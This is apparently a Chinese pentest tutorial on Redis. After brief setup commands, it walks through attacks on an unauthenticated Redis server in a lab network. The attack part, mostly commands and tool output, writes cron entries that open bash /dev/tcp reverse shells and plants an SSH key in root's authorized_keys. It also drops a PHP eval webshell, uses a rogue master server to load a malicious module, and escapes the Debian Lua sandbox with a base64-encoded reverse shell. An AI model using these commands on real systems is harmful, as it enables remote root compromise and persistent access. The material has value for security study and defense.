Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。Redis 与其他 key - value 缓存产品有以下三个特点:
Redis 优势
docker pull redis docker run -p 6379:6379 -d redis
-p
将容器的6379端口映射到主机的6379端口。-d
将容器后台运行。tar -zxf redis-7.0.0.tar.gz cd redis-7.0.0 make cp src/redis-cli /usr/bin // 测试连接 redis-cli -h your_host -p 6379 -a "pass" --raw
-h
: 远程连接的主机-p
: 远程连接的端口-a
: 密码--raw
:解决中文乱码。ping
: 检测 redis 服务是否启动,启动返回PONG。
192.168.210.13:6379> PING PONG
info
192.168.210.13:6379> info # Server redis_version:7.0.0 redis_git_sha1:00000000 redis_git_dirty:0
nc -nvlp 2333
// 设置key set getshell "\n* * * * * bash -i >& /dev/tcp/192.168.210.10/2333 0>&1\n" // 设置路径 config set dir /var/spool/cron/ // 设置文件名 config set dbfilename root // 保存key值到root文件中 save // 命令行直接写入 echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.210.10/2333 0>&1\n\n"|redis-cli -h 192.168.210.13 -x set getshell redis-cli -h 192.168.210.13 config set dir /var/spool/cron/ redis-cli -h 192.168.210.13 config set dbfilename root redis-cli -h 192.168.210.13 save
// 生成公私钥 ssh-keygen -t rsa // 防止乱码,导出key (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt // 导入内容 cat key.txt| redis-cli -h 192.168.210.13 -x set putsshkey // 若知道目标Redis服务器的密码,可以加--pass参数 cat key.txt| redis-cli -h 192.168.210.13 -x set putsshkey --pass your-passwd
// 设置路径 config set dir /root/.ssh // 设置文件名 config set dbfilename authorized_keys // 保存key值到root文件中 save
ssh -i id_rsa root@192.168.210.13
config set dir /var/www/html/ config set dbfilename webshell.php set x '<?php @eval($_GET["cmd"]);phpinfo();?>' save
Redis主从复制RCE漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机(此处为kali)实例可以通过FULLRESYNC同步文件到从机(此处为CentOS)上。然后在从机上加载恶意so文件,即可执行命令。
# python3 redis-rogue-server.py --rhost 192.168.210.13 --lhost 192.168.210.10 ______ _ _ ______ _____ | ___ \ | (_) | ___ \ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| __/ | |___/ @copyright n0b0dy @ r3kapig [info] TARGET 192.168.210.13:6379 [info] SERVER 192.168.210.10:21000 [info] Setting master... [info] Setting dbfilename... [info] Loading module... [info] Temerory cleaning up... // Interactive shell What do u want, [i]nteractive shell or [r]everse shell: i [info] Interact mode start, enter "exit" to quit. [<<] id [>>] uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 // Reverse shell What do u want, [i]nteractive shell or [r]everse shell: r [info] Open reverse shell... Reverse server address: 192.168.210.10 Reverse server port: 2333 [info] Reverse shell payload sent. [info] Check at 192.168.210.10:2333 [info] Unload module... // kali监听 └─$ nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 39390 id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
// kali # python3 redis_rogue_server.py -v -path ../redis-rogue-server-master/exp.so [*] Listening on port: 15000 # nc -nvlp 2333 listening on [any] 2333 ... // 在目标主机本地上执行以下命令: [root@ac ~]# redis-cli 127.0.0.1:6379> config set dir /tmp OK 127.0.0.1:6379> CONFIG SET dbfilename exp.so OK 127.0.0.1:6379> SLAVEOF 192.168.210.10 15000 OK 127.0.0.1:6379> module load ./exp.so OK 127.0.0.1:6379> slaveof NO ONE OK 127.0.0.1:6379> system.rev 192.168.210.10 2333
ssrf漏洞利用(内网探测、打redis) - ctrl_TT豆 - 博客园 (cnblogs.com)
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
我们借助Lua沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res
注意:不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
。
连接redis,使用eval
命令执行上述脚本:
$ redis-cli -h 192.168.210.13 192.168.210.13:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 "uid=0(root) gid=0(root) groups=0(root)\n"
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0
成功反弹:
$ nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 57516 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@6d4a5a7a8313:/var/lib/redis# id id uid=0(root) gid=0(root) groups=0(root) root@6d4a5a7a8313:/var/lib/redis#